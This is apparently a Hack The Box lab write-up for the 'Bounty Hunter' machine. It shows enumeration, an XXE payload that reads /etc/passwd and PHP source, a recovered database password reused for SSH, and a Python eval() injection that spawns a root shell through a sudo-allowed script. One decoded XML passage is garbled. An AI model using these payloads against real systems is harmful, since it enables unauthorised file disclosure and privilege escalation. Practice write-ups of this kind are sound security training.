HTB Writeups
  • HTB Writeups
  • Boxes: Very Easy
    • Academy
    • Archetype
    • Arctic
    • Base
    • Bike
    • Blue
    • Explosion
    • Included
    • Markup
    • Oopsie
    • Redeemer
    • Responder
    • Shield
    • Unified
    • Vaccine
  • Boxes: Easy
    • Analytics
    • Armageddon
    • Bashed
    • Beep
    • Blocky
    • Bounty Hunter
    • Buff
    • Cap
    • CozyHosting
    • Devel
    • Explore
    • Forest
    • Grandpa
    • Granny
    • Horizontall
    • Jerry
    • Keeper
    • Knife
    • Lame
    • Late
    • Legacy
    • Mirai
    • Netmon
    • Nibbles
    • Optimum
    • Paper
    • Photobomb
    • Precious
    • RedPanda
    • Return
    • Sau
    • ScriptKiddie
    • Sense
    • Servmon
    • Shocker
    • Shoppy
    • Squashed
    • Trick
  • Boxes: Medium
    • Poison
  • Challenges
    • Behind the Scenes
    • Canvas
    • Debugging Interface
    • Digital Cube
    • Easy Phish
    • Find the Easy Pass
    • Forest
    • Infiltration
    • misDIRection
    • Pusheen Loves Graphs
    • Retro
    • Signals
    • The Secret of a Queen
    • Wrong Spooky Season
  • Fortresses
  • Cyber Apocalypse 2023: The Cursed Mission
    • The Cursed Mission
    • Alien Cradle
    • Critical Flight
    • Debug
    • Extraterrestrial Persistence
    • Getting Started
    • Needle in the Haystack
    • Orbital
    • Packet Cyclone
    • Passman
    • Perfect Sync
    • Persistence
    • Plaintext Tleasure
    • Questionnaire
    • Reconfiguration
    • Relic Maps
    • Roten
    • Secret Code
    • Shattered Tablet
    • Small StEps
  • Hack the Boo 2023
    • Hauntmart
    • Spellbrewery
    • Trick or Treat
    • Valhalloween
  • Cyber Apocalypse 2024: Hacker Royale
    • Hacker Royale
    • An Unusual Sighting
    • BoxCutter
    • BunnyPass
    • Character
    • Data Siege
    • Delulu
    • Dynastic
    • Fake Boost
    • Flag Command
    • Game Invitation
    • It has begun
    • KORP Terminal
    • Labyrinth Linguist
    • LockTalk
    • Lucky Faucet
    • Makeshift
    • Maze
    • Packed Away
    • Phreaky
    • Primary Knowledge
    • Pursue the Tracks
    • Rids
    • Russian Roulette
    • Stop Drop and Roll
    • Testimonial
    • TimeKORP
    • Unbreakable
    • Urgent
  • CYBER APOCALYPSE 2025: Tales from Eldoria
    • Tales from Eldoria
    • A New Hire
    • Cave Expedition
    • Echoes in Stone
    • Eldorion
    • Embassy
    • EncryptedScroll
    • HeliosDEX
    • Quack Quack
    • Silent Trap
    • Stealth Invasion
    • Tales for the Brave
    • The Ancient Citadel
    • The Hillside Haven
    • The Stone That Whispers
    • Thorins Amulet
    • ToolPie
    • Traces
    • Trial by Fire
    • Whispers of the Moonbeam
Powered by GitBook
On this page
  • Enumeration
  • Encoded XXE
  • Custom Script Injection
  1. Boxes: Easy

Bounty Hunter

Personal Rating: Easy

Enumeration

The first nmap scan reveals port 22 and 80:

sudo nmap -sV <IP>

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

Through fuzzing I found some directories:

  • http://<TARGETIP>/log_submit.php

  • http://<TARGETIP>/assets/

  • http://<TARGETIP>/assets/img/

  • http://<TARGETIP>/assets/img/favicon.ico

  • http://<TARGETIP>/assets/img/portfolio/

  • http://<TARGETIP>/css/

  • http://<TARGETIP>/index.php

  • http://<TARGETIP>/server-status #403 Forbidden

  • http://<TARGETIP>/js #403 Forbidden

  • http://<TARGETIP>/resources #Very interesting, listable Directory is LISTABLE

At http://<TARGETIP>/resources/bountylog.js I saw this:

function returnSecret(data) {
	return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"	#no intel at http://IP/tracker...
            }));
}

While searching the other directories and html code I found some more intel:

Info from a README: There is a 'test' account on portal and it has no hashed pw. nopass is enabled. Tracker submit script is not connected to a db

Info from bountylog.js: let data: return Promise.resolve(data, url:tracker...)

Entering some test data at the log_submit.php and intercepting the request with burp yielded:

data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT50ZXN0LXRpdGxlPC90aXRsZT4KCQk8Y3dlPnRlc3QtY3dlPC9jd2U%2BCgkJPGN2c3M%2BdGVzdC1zY29yZTwvY3Zzcz4KCQk8cmV3YXJkPnRlc3QtcmV3YXJkPC9yZXdhcmQ%2BCgkJPC9idWdyZXBvcnQ%2B

Decoding the string from URL and then base64, it becomes clear the the input is XML formatted before its sent to the server:

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>test-title</title>
		<cwe>test-cwe</cwe6($$FW7B66&S7g73ࠐ&Wv&CFW7B&Wv&C&Wv&C`BBO؝Yܙ\ܝ

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>test-title</title>
		<cwe>test-cwe</cwe>
		<cvss>test-score</cvss>
		<reward>test-reward</reward>
		</bugreport>

Encoded XXE

I crafted the following request with an XXE exploit and base64 and URL encoded it again before sending it:

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [ <!ELEMENT data ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
                <bugreport>
                <title>&xxe;</title>
                <cwe>test</cwe>
                <cvss>test</cvss>
                <reward>test</reward>
                </bugreport>

This yields the default user: development:x:1000:1000:Development:/home/development:/bin/bash

I fuzzed again, this time for php files and found some:

  • File found: /index.php - 200

  • File found: /db.php - 200

Through the XXE i could disclose the code of those files. db.php was useful:

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

A password reuse was done, as I could use that password to log in with the development user over ssh.

Custom Script Injection

development@bountyhunter:~$ cat contract.txt

Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John

#development@bountyhunter:/bin$ ls -la | grep development

-rwsr-x--- 1 development developers 12320 Apr 6 22:14 bcred

development@bountyhunter:/bin$ bcred

Hacker Bounty Crediting System 0.1 Error: Usage is ./bcred hackername

#development@bountyhunter:/bin$ ./bcred john

Hacker credited.

#sudo -l

User development may run the following commands on bountyhunter: (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Looking at what the script expects as ticket, this is the file i had to craft:

# Skytrain Inc
## Ticket to 
__Ticket Code:__
**704+1==705 and __import__('os').system('sh')

sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Please enter the path to the ticket file.

/tmp/loc.md

Got the root shell.

PreviousBlockyNextBuff

Last updated 1 year ago

https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/